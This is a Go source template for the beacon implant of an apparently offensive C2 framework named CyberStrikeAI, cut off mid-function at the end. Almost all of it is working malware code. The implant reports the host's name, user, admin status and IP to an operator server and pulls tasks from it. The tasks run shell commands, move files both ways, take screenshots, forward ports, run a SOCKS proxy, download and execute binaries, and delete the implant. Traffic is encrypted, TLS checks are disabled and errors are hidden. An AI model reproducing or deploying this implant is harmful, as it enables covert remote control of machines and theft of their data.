CyberStrikeAI/internal/c2/payload_templates/beacon.go.tmpl

// Code generated by CyberStrikeAI C2 payload builder. DO NOT EDIT.
// 此文件由 internal/c2/payload_builder.go 在生成 beacon 时填充并交叉编译。
// 占位符列表（构建时由 text/template 替换）：
//   {{.ServerURL}}    e.g. http://1.2.3.4:8443
//   {{.ImplantToken}} HTTP header X-Implant-Token 值
//   {{.AESKeyB64}}    32-byte AES-256 base64
//   {{.SleepSeconds}} 默认心跳间隔
//   {{.JitterPercent}} 抖动百分比 0-100
//   {{.CheckInPath}}  默认 /check_in
//   {{.TasksPath}}    默认 /tasks
//   {{.ResultPath}}   默认 /result
//   {{.UploadPath}}   默认 /upload
//   {{.FilePath}}     默认 /file/
//   {{.UserAgent}}    默认 Mozilla/5.0 ...
//   {{.Transport}}    http | tcp（tcp 时使用 TCP 成帧协议 + 魔数 CSB1，与 tcp_reverse 监听器配套）
//   {{.TCPDialAddr}}  tcp 时回连地址 host:port；http 时为空
//   {{.TransportMetadata}} 写入 check-in metadata.transport（http_beacon | tcp_beacon 等）
//
// 设计要点：
//   - 无第三方依赖（仅标准库），CGO_ENABLED=0 即可跨平台编译；
//   - 所有与服务端的交互均使用 AES-256-GCM 加密；
//   - 任务异步并发执行（每个任务一个 goroutine），不阻塞主心跳循环；
//   - 出错静默：避免 stderr/stdout 暴露 beacon 存在，panic 统一 recover。
package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"crypto/tls"
	"encoding/base64"
	"encoding/binary"
	"encoding/json"
	"fmt"
	"io"
	mrand "math/rand"
	"net"
	"net/http"
	"os"
	"os/exec"
	"os/user"
	"path/filepath"
	"runtime"
	"strings"
	"sync"
	"time"
)

// 编译期注入常量（text/template 替换）
const (
	serverURL     = "{{.ServerURL}}"
	implantToken  = "{{.ImplantToken}}"
	aesKeyB64     = "{{.AESKeyB64}}"
	defaultSleep  = {{.SleepSeconds}}
	defaultJitter = {{.JitterPercent}}
	checkInPath   = "{{.CheckInPath}}"
	tasksPath     = "{{.TasksPath}}"
	resultPath    = "{{.ResultPath}}"
	uploadPath    = "{{.UploadPath}}"
	filePath      = "{{.FilePath}}"
	userAgent     = "{{.UserAgent}}"

	beaconTransport    = "{{.Transport}}"
	tcpDialAddr        = "{{.TCPDialAddr}}"
	transportMetaConst = "{{.TransportMetadata}}"
)

const tcpBeaconWireMax = 64 << 20

var (
	implantUUID  string
	sessionID    string
	currentSleep = defaultSleep
	currentJit   = defaultJitter
	cwdMu        sync.Mutex
	currentCwd   string
	httpClient   *http.Client
	// tcpTaskConn 在 TCP Beacon 同步执行任务时指向当前连接，供 fetchC2File 拉取服务端文件。
	tcpTaskConn net.Conn
)

// CheckInResp 与服务端 ImplantCheckInResponse 对齐
type CheckInResp struct {
	SessionID  string `json:"session_id"`
	NextSleep  int    `json:"next_sleep"`
	NextJitter int    `json:"next_jitter"`
	HasTasks   bool   `json:"has_tasks"`
	ServerTime int64  `json:"server_time"`
}

// TaskEnv 与服务端 TaskEnvelope 对齐
type TaskEnv struct {
	TaskID   string                 `json:"task_id"`
	TaskType string                 `json:"task_type"`
	Payload  map[string]interface{} `json:"payload"`
}

// TaskReport 与服务端 TaskResultReport 对齐
type TaskReport struct {
	TaskID     string `json:"task_id"`
	Success    bool   `json:"success"`
	Output     string `json:"output,omitempty"`
	Error      string `json:"error,omitempty"`
	BlobBase64 string `json:"blob_b64,omitempty"`
	BlobSuffix string `json:"blob_suffix,omitempty"`
	StartedAt  int64  `json:"started_at"`
	EndedAt    int64  `json:"ended_at"`
}

func main() {
	defer func() { _ = recover() }()
	implantUUID = generateImplantUUID()
	currentCwd, _ = os.Getwd()

	if beaconTransport == "tcp" {
		runTCPBeaconForever()
		return
	}

	httpClient = &http.Client{
		Timeout: 60 * time.Second,
		Transport: &http.Transport{
			DisableKeepAlives:   true,
			TLSClientConfig:   &tls.Config{InsecureSkipVerify: true},
			TLSHandshakeTimeout: 10 * time.Second,
		},
	}

	for {
		resp, err := checkIn()
		if err == nil && resp != nil {
			sessionID = resp.SessionID
			if resp.NextSleep > 0 {
				currentSleep = resp.NextSleep
			}
			if resp.NextJitter >= 0 {
				currentJit = resp.NextJitter
			}
			if resp.HasTasks {
				envs, err := fetchTasks()
				if err == nil {
					for _, env := range envs {
						go handleTaskAsync(env)
					}
				}
			}
		}
		time.Sleep(applyJitter(currentSleep, currentJit))
	}
}

func runTCPBeaconForever() {
	for {
		conn, err := net.DialTimeout("tcp", tcpDialAddr, 45*time.Second)
		if err != nil {
			time.Sleep(applyJitter(currentSleep, currentJit))
			continue
		}
		func() {
			defer conn.Close()
			if _, err := io.WriteString(conn, "CSB1"); err != nil {
				return
			}
			tcpBeaconSessionLoop(conn)
		}()
		time.Sleep(applyJitter(currentSleep, currentJit))
	}
}

func tcpWriteFrame(conn net.Conn, enc string) error {
	b := []byte(enc)
	if len(b) == 0 || len(b) > tcpBeaconWireMax {
		return fmt.Errorf("bad tcp frame")
	}
	var hdr [4]byte
	binary.BigEndian.PutUint32(hdr[:], uint32(len(b)))
	if _, err := conn.Write(hdr[:]); err != nil {
		return err
	}
	_, err := conn.Write(b)
	return err
}

func tcpReadFrame(conn net.Conn) (string, error) {
	var n uint32
	if err := binary.Read(conn, binary.BigEndian, &n); err != nil {
		return "", err
	}
	if n == 0 || int64(n) > int64(tcpBeaconWireMax) {
		return "", fmt.Errorf("bad tcp frame size")
	}
	buf := make([]byte, n)
	if _, err := io.ReadFull(conn, buf); err != nil {
		return "", err
	}
	return string(buf), nil
}

func tcpRoundTrip(conn net.Conn, plainJSON []byte) ([]byte, error) {
	enc, err := encryptGCM(plainJSON)
	if err != nil {
		return nil, err
	}
	if err := tcpWriteFrame(conn, enc); err != nil {
		return nil, err
	}
	_ = conn.SetReadDeadline(time.Now().Add(6 * time.Minute))
	cipherB64, err := tcpReadFrame(conn)
	if err != nil {
		return nil, err
	}
	return decryptGCM(cipherB64)
}

func tcpBeaconSessionLoop(conn net.Conn) {
	for {
		resp, err := tcpCheckIn(conn)
		if err != nil || resp == nil {
			return
		}
		sessionID = resp.SessionID
		if resp.NextSleep > 0 {
			currentSleep = resp.NextSleep
		}
		if resp.NextJitter >= 0 {
			currentJit = resp.NextJitter
		}
		if resp.HasTasks {
			envs, err := tcpFetchTasks(conn)
			if err == nil {
				for _, env := range envs {
					handleTaskSyncTCP(conn, env)
				}
			}
		}
		_ = conn.SetReadDeadline(time.Time{})
		time.Sleep(applyJitter(currentSleep, currentJit))
	}
}

func tcpCheckInJSONBody() ([]byte, error) {
	checkObj := map[string]interface{}{
		"uuid":           implantUUID,
		"hostname":       hostnameOrDefault(),
		"username":       currentUsername(),
		"os":             runtime.GOOS,
		"arch":           runtime.GOARCH,
		"pid":            os.Getpid(),
		"process_name":   filepath.Base(exeSelf()),
		"is_admin":       isAdminProcess(),
		"internal_ip":    firstInternalIP(),
		"user_agent":     userAgent,
		"sleep_seconds":  currentSleep,
		"jitter_percent": currentJit,
		"metadata": map[string]interface{}{
			"transport": transportMetaConst,
			"cwd":       currentCwd,
		},
	}
	rawCheck, err := json.Marshal(checkObj)
	if err != nil {
		return nil, err
	}
	wire := map[string]interface{}{
		"op":    "check_in",
		"token": implantToken,
		"check": json.RawMessage(rawCheck),
	}
	return json.Marshal(wire)
}

func tcpCheckIn(conn net.Conn) (*CheckInResp, error) {
	body, err := tcpCheckInJSONBody()
	if err != nil {
		return nil, err
	}
	plain, err := tcpRoundTrip(conn, body)
	if err != nil {
		return nil, err
	}
	var r CheckInResp
	if err := json.Unmarshal(plain, &r); err != nil {
		return nil, err
	}
	return &r, nil
}

func tcpFetchTasks(conn net.Conn) ([]TaskEnv, error) {
	wire := map[string]interface{}{
		"op":         "tasks",
		"token":      implantToken,
		"session_id": sessionID,
	}
	body, _ := json.Marshal(wire)
	plain, err := tcpRoundTrip(conn, body)
	if err != nil {
		return nil, err
	}
	var wrapper struct {
		Tasks []TaskEnv `json:"tasks"`
	}
	if err := json.Unmarshal(plain, &wrapper); err != nil {
		return nil, err
	}
	return wrapper.Tasks, nil
}

func tcpReportResult(conn net.Conn, report TaskReport) {
	repRaw, err := json.Marshal(report)
	if err != nil {
		return
	}
	wire := map[string]interface{}{
		"op":     "result",
		"token":  implantToken,
		"result": json.RawMessage(repRaw),
	}
	body, _ := json.Marshal(wire)
	_, _ = tcpRoundTrip(conn, body)
}

func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
	defer func() { _ = recover() }()
	tcpTaskConn = conn
	defer func() { tcpTaskConn = nil }()
	start := time.Now()
	output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
	report := TaskReport{
		TaskID:     env.TaskID,
		Success:    errMsg == "",
		Output:     output,
		Error:      errMsg,
		BlobBase64: blobB64,
		BlobSuffix: blobSuffix,
		StartedAt:  start.UnixMilli(),
		EndedAt:    time.Now().UnixMilli(),
	}
	tcpReportResult(conn, report)
}

func tcpFetchEncryptedFile(conn net.Conn, fileID string) ([]byte, error) {
	fr, _ := json.Marshal(map[string]string{"file_id": fileID})
	wire := map[string]interface{}{
		"op":    "file",
		"token": implantToken,
		"file":  json.RawMessage(fr),
	}
	body, err := json.Marshal(wire)
	if err != nil {
		return nil, err
	}
	plain, err := tcpRoundTrip(conn, body)
	if err != nil {
		return nil, err
	}
	var wrapper struct {
		FileData string `json:"file_data"`
	}
	if err := json.Unmarshal(plain, &wrapper); err != nil {
		return nil, err
	}
	return base64.StdEncoding.DecodeString(wrapper.FileData)
}

func fetchC2FileByID(fileID string) ([]byte, error) {
	if tcpTaskConn != nil {
		return tcpFetchEncryptedFile(tcpTaskConn, fileID)
	}
	url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
	req, _ := http.NewRequest("GET", url, nil)
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("X-Implant-Token", implantToken)
	resp, err := httpClient.Do(req)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()
	if resp.StatusCode != 200 {
		return nil, fmt.Errorf("download failed: %d", resp.StatusCode)
	}
	raw, err := io.ReadAll(resp.Body)
	if err != nil {
		return nil, err
	}
	plain, err := decryptGCM(string(raw))
	if err != nil {
		return nil, err
	}
	var wrapper struct {
		FileData string `json:"file_data"`
	}
	if err := json.Unmarshal(plain, &wrapper); err != nil {
		return nil, err
	}
	return base64.StdEncoding.DecodeString(wrapper.FileData)
}

func generateImplantUUID() string {
	host, _ := os.Hostname()
	mac := firstMACAddr()
	return fmt.Sprintf("%s-%s-%d", host, mac, os.Getpid())
}

func firstMACAddr() string {
	ifs, err := net.Interfaces()
	if err != nil {
		return "000000000000"
	}
	for _, i := range ifs {
		if i.Flags&net.FlagLoopback != 0 || len(i.HardwareAddr) == 0 {
			continue
		}
		return strings.ReplaceAll(i.HardwareAddr.String(), ":", "")
	}
	return "000000000000"
}

func firstInternalIP() string {
	ifs, err := net.Interfaces()
	if err != nil {
		return ""
	}
	for _, i := range ifs {
		if i.Flags&net.FlagLoopback != 0 || i.Flags&net.FlagUp == 0 {
			continue
		}
		addrs, err := i.Addrs()
		if err != nil {
			continue
		}
		for _, a := range addrs {
			ipnet, ok := a.(*net.IPNet)
			if !ok || ipnet.IP.To4() == nil {
				continue
			}
			return ipnet.IP.String()
		}
	}
	return ""
}

func currentUsername() string {
	u, err := user.Current()
	if err != nil || u == nil {
		return "unknown"
	}
	return u.Username
}

func isAdminProcess() bool {
	if runtime.GOOS == "windows" {
		_, err := os.Open(filepath.Join(os.Getenv("WINDIR"), "System32", "config", "SAM"))
		return err == nil
	}
	return os.Geteuid() == 0
}

func hostnameOrDefault() string {
	h, _ := os.Hostname()
	if h == "" {
		return "unknown"
	}
	return h
}

func exeSelf() string {
	ex, _ := os.Executable()
	if ex == "" {
		return "unknown"
	}
	return ex
}

func applyJitter(baseSec, jitterPct int) time.Duration {
	if baseSec <= 0 {
		return 5 * time.Second
	}
	if jitterPct <= 0 {
		return time.Duration(baseSec) * time.Second
	}
	if jitterPct > 100 {
		jitterPct = 100
	}
	delta := mrand.Intn(2*jitterPct+1) - jitterPct
	factor := 1.0 + float64(delta)/100.0
	return time.Duration(float64(baseSec)*factor) * time.Second
}

func checkIn() (*CheckInResp, error) {
	payload := map[string]interface{}{
		"uuid":           implantUUID,
		"hostname":       hostnameOrDefault(),
		"username":       currentUsername(),
		"os":             runtime.GOOS,
		"arch":           runtime.GOARCH,
		"pid":            os.Getpid(),
		"process_name":   filepath.Base(exeSelf()),
		"is_admin":       isAdminProcess(),
		"internal_ip":    firstInternalIP(),
		"user_agent":     userAgent,
		"sleep_seconds":  currentSleep,
		"jitter_percent": currentJit,
		"metadata": map[string]interface{}{
			"transport": transportMetaConst,
			"cwd":       currentCwd,
		},
	}
	body, _ := json.Marshal(payload)
	enc, err := encryptGCM(body)
	if err != nil {
		return nil, err
	}
	req, _ := http.NewRequest("POST", serverURL+checkInPath, bytes.NewReader([]byte(enc)))
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("X-Implant-Token", implantToken)
	resp, err := httpClient.Do(req)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()
	if resp.StatusCode != 200 {
		return nil, fmt.Errorf("checkin status %d", resp.StatusCode)
	}
	raw, err := io.ReadAll(resp.Body)
	if err != nil {
		return nil, err
	}
	plain, err := decryptGCM(string(raw))
	if err != nil {
		return nil, err
	}
	var r CheckInResp
	if err := json.Unmarshal(plain, &r); err != nil {
		return nil, err
	}
	return &r, nil
}

func fetchTasks() ([]TaskEnv, error) {
	url := fmt.Sprintf("%s%s?session_id=%s", serverURL, tasksPath, sessionID)
	req, _ := http.NewRequest("GET", url, nil)
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("X-Implant-Token", implantToken)
	resp, err := httpClient.Do(req)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()
	if resp.StatusCode != 200 {
		return nil, fmt.Errorf("fetch tasks status %d", resp.StatusCode)
	}
	raw, err := io.ReadAll(resp.Body)
	if err != nil {
		return nil, err
	}
	plain, err := decryptGCM(string(raw))
	if err != nil {
		return nil, err
	}
	var wrapper struct {
		Tasks []TaskEnv `json:"tasks"`
	}
	if err := json.Unmarshal(plain, &wrapper); err != nil {
		return nil, err
	}
	return wrapper.Tasks, nil
}

func reportResult(report TaskReport) {
	body, _ := json.Marshal(report)
	enc, err := encryptGCM(body)
	if err != nil {
		return
	}
	req, _ := http.NewRequest("POST", serverURL+resultPath, bytes.NewReader([]byte(enc)))
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("X-Implant-Token", implantToken)
	resp, err := httpClient.Do(req)
	if err != nil {
		return
	}
	defer resp.Body.Close()
	_, _ = io.ReadAll(resp.Body)
}

func getAESKey() ([]byte, error) {
	return base64.StdEncoding.DecodeString(aesKeyB64)
}

func encryptGCM(plaintext []byte) (string, error) {
	key, err := getAESKey()
	if err != nil {
		return "", err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return "", err
	}
	gcm, err := cipher.NewGCM(block)
	if err != nil {
		return "", err
	}
	nonce := make([]byte, gcm.NonceSize())
	if _, err := rand.Read(nonce); err != nil {
		return "", err
	}
	ct := gcm.Seal(nil, nonce, plaintext, nil)
	out := append(nonce, ct...)
	return base64.StdEncoding.EncodeToString(out), nil
}

func decryptGCM(cipherText string) ([]byte, error) {
	key, err := getAESKey()
	if err != nil {
		return nil, err
	}
	raw, err := base64.StdEncoding.DecodeString(cipherText)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	gcm, err := cipher.NewGCM(block)
	if err != nil {
		return nil, err
	}
	ns := gcm.NonceSize()
	if len(raw) < ns+16 {
		return nil, fmt.Errorf("ciphertext too short")
	}
	nonce, ct := raw[:ns], raw[ns:]
	return gcm.Open(nil, nonce, ct, nil)
}

func handleTaskAsync(env TaskEnv) {
	defer func() { _ = recover() }()
	start := time.Now()
	output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
	report := TaskReport{
		TaskID:     env.TaskID,
		Success:    errMsg == "",
		Output:     output,
		Error:      errMsg,
		BlobBase64: blobB64,
		BlobSuffix: blobSuffix,
		StartedAt:  start.UnixMilli(),
		EndedAt:    time.Now().UnixMilli(),
	}
	reportResult(report)
}

func executeTask(taskType string, payload map[string]interface{}) (output, blobB64, blobSuffix, errMsg string) {
	switch taskType {
	case "exec":
		return taskExec(payload)
	case "shell":
		return taskShell(payload)
	case "pwd":
		return taskPwd()
	case "cd":
		return taskCd(payload)
	case "ls":
		return taskLs(payload)
	case "ps":
		return taskPs()
	case "kill_proc":
		return taskKillProc(payload)
	case "upload":
		return taskUpload(payload)
	case "download":
		return taskDownload(payload)
	case "screenshot":
		return taskScreenshot()
	case "sleep":
		return taskSleep(payload)
	case "port_fwd":
		return taskPortForward(payload)
	case "socks_start":
		return taskSocksStart(payload)
	case "socks_stop":
		return taskSocksStop(payload)
	case "load_assembly":
		return taskLoadAssembly(payload)
	case "persist":
		return taskPersist(payload)
	case "exit":
		os.Exit(0)
		return "", "", "", ""
	case "self_delete":
		return taskSelfDelete()
	default:
		return "", "", "", "unsupported task type: " + taskType
	}
}

func shellByOS() string {
	if runtime.GOOS == "windows" {
		return "cmd"
	}
	return "/bin/sh"
}

func shellFlag() string {
	if runtime.GOOS == "windows" {
		return "/c"
	}
	return "-c"
}

func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
	if timeoutSec <= 0 {
		timeoutSec = 60
	}
	cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
	cwdMu.Lock()
	cmd.Dir = currentCwd
	cwdMu.Unlock()

	done := make(chan struct {
		out []byte
		err error
	}, 1)
	go func() {
		out, err := cmd.CombinedOutput()
		done <- struct {
			out []byte
			err error
		}{out, err}
	}()
	select {
	case res := <-done:
		return string(res.out), res.err
	case <-time.After(time.Duration(timeoutSec) * time.Second):
		_ = cmd.Process.Kill()
		return "", fmt.Errorf("timeout")
	}
}

func getTimeoutFromPayload(payload map[string]interface{}) int {
	to, _ := payload["timeout_seconds"].(float64)
	if to <= 0 {
		return 60
	}
	return int(to)
}

func taskExec(payload map[string]interface{}) (string, string, string, string) {
	cmdStr, _ := payload["command"].(string)
	if cmdStr == "" {
		return "", "", "", "command is empty"
	}
	out, err := runWithTimeout(cmdStr, getTimeoutFromPayload(payload))
	if err != nil {
		return out, "", "", err.Error()
	}
	return out, "", "", ""
}

func taskShell(payload map[string]interface{}) (string, string, string, string) {
	cmdStr, _ := payload["command"].(string)
	if cmdStr == "" {
		return "", "", "", "command is empty"
	}

	// Append a pwd/cd probe to the command so we can capture the real cwd
	// after the user's command runs (e.g. "cd /tmp && ls" → cwd becomes /tmp).
	var probe string
	if runtime.GOOS == "windows" {
		probe = " && cd"
	} else {
		probe = " && pwd"
	}
	combined := cmdStr + probe

	out, err := runWithTimeout(combined, getTimeoutFromPayload(payload))

	// The last line of output is the cwd from the probe command.
	// Split it off so we don't return the probe output to the operator.
	lines := strings.Split(strings.TrimRight(out, "\r\n"), "\n")
	if len(lines) > 0 {
		candidate := strings.TrimSpace(lines[len(lines)-1])
		if filepath.IsAbs(candidate) {
			if info, statErr := os.Stat(candidate); statErr == nil && info.IsDir() {
				cwdMu.Lock()
				currentCwd = candidate
				cwdMu.Unlock()
				out = strings.Join(lines[:len(lines)-1], "\n")
			}
		}
	}

	if err != nil {
		return out, "", "", err.Error()
	}
	return out, "", "", ""
}

func taskPwd() (string, string, string, string) {
	cwdMu.Lock()
	cwd := currentCwd
	cwdMu.Unlock()
	return cwd, "", "", ""
}

func taskCd(payload map[string]interface{}) (string, string, string, string) {
	path, _ := payload["path"].(string)
	if path == "" {
		return "", "", "", "path is empty"
	}
	cwdMu.Lock()
	if !filepath.IsAbs(path) {
		path = filepath.Join(currentCwd, path)
	}
	cwdMu.Unlock()
	abs, err := filepath.Abs(path)
	if err != nil {
		return "", "", "", err.Error()
	}
	info, err := os.Stat(abs)
	if err != nil {
		return "", "", "", err.Error()
	}
	if !info.IsDir() {
		return "", "", "", "not a directory"
	}
	cwdMu.Lock()
	currentCwd = abs
	cwdMu.Unlock()
	return abs, "", "", ""
}

func taskLs(payload map[string]interface{}) (string, string, string, string) {
	path, _ := payload["path"].(string)
	if path == "" {
		path = "."
	}
	cwdMu.Lock()
	if !filepath.IsAbs(path) {
		path = filepath.Join(currentCwd, path)
	}
	cwdMu.Unlock()
	entries, err := os.ReadDir(path)
	if err != nil {
		return "", "", "", err.Error()
	}
	var lines []string
	for _, e := range entries {
		info, _ := e.Info()
		if info != nil {
			lines = append(lines, fmt.Sprintf("%s\t%s\t%d\t%s",
				e.Type().String(), info.Mode().String(), info.Size(), e.Name()))
		} else {
			lines = append(lines, e.Name())
		}
	}
	return strings.Join(lines, "\n"), "", "", ""
}

func taskPs() (string, string, string, string) {
	if runtime.GOOS == "windows" {
		out, err := runWithTimeout("tasklist", 30)
		if err != nil {
			return out, "", "", err.Error()
		}
		return out, "", "", ""
	}
	out, err := runWithTimeout("ps aux", 30)
	if err != nil {
		return out, "", "", err.Error()
	}
	return out, "", "", ""
}

func taskKillProc(payload map[string]interface{}) (string, string, string, string) {
	pidFloat, _ := payload["pid"].(float64)
	pid := int(pidFloat)
	if pid <= 0 {
		return "", "", "", "invalid pid"
	}
	proc, err := os.FindProcess(pid)
	if err != nil {
		return "", "", "", err.Error()
	}
	if err := proc.Kill(); err != nil {
		return "", "", "", err.Error()
	}
	return "killed", "", "", ""
}

func taskUpload(payload map[string]interface{}) (string, string, string, string) {
	remotePath, _ := payload["remote_path"].(string)
	fileID, _ := payload["file_id"].(string)
	if remotePath == "" || fileID == "" {
		return "", "", "", "remote_path or file_id empty"
	}
	data, err := fetchC2FileByID(fileID)
	if err != nil {
		return "", "", "", err.Error()
	}
	if err := os.WriteFile(remotePath, data, 0644); err != nil {
		return "", "", "", err.Error()
	}
	return fmt.Sprintf("uploaded %d bytes to %s", len(data), remotePath), "", "", ""
}

func taskDownload(payload map[string]interface{}) (string, string, string, string) {
	remotePath, _ := payload["remote_path"].(string)
	if remotePath == "" {
		return "", "", "", "remote_path empty"
	}
	data, err := os.ReadFile(remotePath)
	if err != nil {
		return "", "", "", err.Error()
	}
	// File data goes through the standard encrypted result channel via blob_b64
	b64 := base64.StdEncoding.EncodeToString(data)
	suffix := filepath.Ext(remotePath)
	return fmt.Sprintf("downloaded %d bytes from %s", len(data), remotePath), b64, suffix, ""
}

func taskScreenshot() (string, string, string, string) {
	var b64Out string
	var err error
	switch runtime.GOOS {
	case "darwin":
		b64Out, err = runWithTimeout("screencapture -x /tmp/.cs_ss.png && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
	case "linux":
		b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
	case "windows":
		ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
	default:
		return "", "", "", "screenshot not supported on " + runtime.GOOS
	}
	if err != nil {
		return "", "", "", err.Error()
	}
	b64Out = strings.TrimSpace(b64Out)
	return "screenshot captured", b64Out, ".png", ""
}

func taskSleep(payload map[string]interface{}) (string, string, string, string) {
	s, _ := payload["seconds"].(float64)
	j, _ := payload["jitter"].(float64)
	currentSleep = int(s)
	currentJit = int(j)
	return fmt.Sprintf("sleep set to %ds (jitter %d%%)", currentSleep, currentJit), "", "", ""
}

func taskSelfDelete() (string, string, string, string) {
	exe := exeSelf()
	if exe == "" || exe == "unknown" {
		return "", "", "", "cannot determine self path"
	}
	go func() {
		time.Sleep(2 * time.Second)
		os.Remove(exe)
	}()
	os.Exit(0)
	return "", "", "", ""
}

// --- Port Forward ---

var (
	portFwdMu    sync.Mutex
	portFwdConns = make(map[string]net.Listener)
)

func taskPortForward(payload map[string]interface{}) (string, string, string, string) {
	action, _ := payload["action"].(string)
	localPort := int(getFloat(payload, "local_port"))
	remoteHost, _ := payload["remote_host"].(string)
	remotePort := int(getFloat(payload, "remote_port"))

	if action == "stop" {
		key := fmt.Sprintf("%d", localPort)
		portFwdMu.Lock()
		if ln, ok := portFwdConns[key]; ok {
			ln.Close()
			delete(portFwdConns, key)
		}
		portFwdMu.Unlock()
		return fmt.Sprintf("port forward on :%d stopped", localPort), "", "", ""
	}

	if localPort <= 0 || remoteHost == "" || remotePort <= 0 {
		return "", "", "", "local_port, remote_host, remote_port required"
	}

	ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
	if err != nil {
		return "", "", "", err.Error()
	}
	key := fmt.Sprintf("%d", localPort)
	portFwdMu.Lock()
	portFwdConns[key] = ln
	portFwdMu.Unlock()

	go func() {
		for {
			conn, err := ln.Accept()
			if err != nil {
				return
			}
			go func(c net.Conn) {
				defer c.Close()
				remote, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", remoteHost, remotePort), 10*time.Second)
				if err != nil {
					return
				}
				defer remote.Close()
				done := make(chan struct{}, 2)
				go func() { io.Copy(remote, c); done <- struct{}{} }()
				go func() { io.Copy(c, remote); done <- struct{}{} }()
				<-done
			}(conn)
		}
	}()
	return fmt.Sprintf("port forward 127.0.0.1:%d -> %s:%d started", localPort, remoteHost, remotePort), "", "", ""
}

// --- SOCKS5 Proxy ---

var (
	socksMu       sync.Mutex
	socksListener net.Listener
)

func taskSocksStart(payload map[string]interface{}) (string, string, string, string) {
	port := int(getFloat(payload, "port"))
	if port <= 0 {
		port = 1080
	}

	socksMu.Lock()
	if socksListener != nil {
		socksMu.Unlock()
		return "", "", "", "socks proxy already running"
	}
	socksMu.Unlock()

	ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
	if err != nil {
		return "", "", "", err.Error()
	}
	socksMu.Lock()
	socksListener = ln
	socksMu.Unlock()

	go func() {
		for {
			conn, err := ln.Accept()
			if err != nil {
				return
			}
			go handleSocks5(conn)
		}
	}()
	return fmt.Sprintf("SOCKS5 proxy started on 127.0.0.1:%d", port), "", "", ""
}

func taskSocksStop(payload map[string]interface{}) (string, string, string, string) {
	socksMu.Lock()
	if socksListener != nil {
		socksListener.Close()
		socksListener = nil
	}
	socksMu.Unlock()
	return "SOCKS5 proxy stopped", "", "", ""
}

func handleSocks5(conn net.Conn) {
	defer conn.Close()
	buf := make([]byte, 258)
	// Auth negotiation
	n, err := conn.Read(buf)
	if err != nil || n < 3 || buf[0] != 0x05 {
		return
	}
	conn.Write([]byte{0x05, 0x00}) // no auth

	// Request
	n, err = conn.Read(buf)
	if err != nil || n < 7 || buf[0] != 0x05 || buf[1] != 0x01 {
		conn.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
		return
	}

	var target string
	switch buf[3] {
	case 0x01: // IPv4
		if n < 10 {
			return
		}
		target = fmt.Sprintf("%d.%d.%d.%d:%d", buf[4], buf[5], buf[6], buf[7],
			int(buf[8])<<8|int(buf[9]))
	case 0x03: // Domain
		domainLen := int(buf[4])
		if n < 5+domainLen+2 {
			return
		}
		domain := string(buf[5 : 5+domainLen])
		port := int(buf[5+domainLen])<<8 | int(buf[5+domainLen+1])
		target = fmt.Sprintf("%s:%d", domain, port)
	case 0x04: // IPv6
		if n < 22 {
			return
		}
		ip := net.IP(buf[4:20])
		port := int(buf[20])<<8 | int(buf[21])
		target = fmt.Sprintf("[%s]:%d", ip.String(), port)
	default:
		conn.Write([]byte{0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
		return
	}

	remote, err := net.DialTimeout("tcp", target, 10*time.Second)
	if err != nil {
		conn.Write([]byte{0x05, 0x05, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
		return
	}
	defer remote.Close()

	// Success reply
	conn.Write([]byte{0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0})

	done := make(chan struct{}, 2)
	go func() { io.Copy(remote, conn); done <- struct{}{} }()
	go func() { io.Copy(conn, remote); done <- struct{}{} }()
	<-done
}

// --- Load Assembly (in-memory exec) ---

func taskLoadAssembly(payload map[string]interface{}) (string, string, string, string) {
	b64Data, _ := payload["data"].(string)
	args, _ := payload["args"].(string)

	if b64Data == "" {
		fileID, _ := payload["file_id"].(string)
		if fileID == "" {
			return "", "", "", "data (base64) or file_id required"
		}
		asm, err := fetchC2FileByID(fileID)
		if err != nil {
			return "", "", "", err.Error()
		}
		b64Data = base64.StdEncoding.EncodeToString(asm)
	}

	data, err := base64.StdEncoding.DecodeString(b64Data)
	if err != nil {
		return "", "", "", "decode assembly: " + err.Error()
	}

	tmpDir := os.TempDir()
	tmpFile := filepath.Join(tmpDir, fmt.Sprintf(".cs_%d", time.Now().UnixNano()))
	if runtime.GOOS == "windows" {
		tmpFile += ".exe"
	}
	if err := os.WriteFile(tmpFile, data, 0700); err != nil {
		return "", "", "", err.Error()
	}
	defer os.Remove(tmpFile)

	cmdArgs := []string{}
	if args != "" {
		cmdArgs = strings.Fields(args)
	}
	cmd := exec.Command(tmpFile, cmdArgs...)
	cwdMu.Lock()
	cmd.Dir = currentCwd
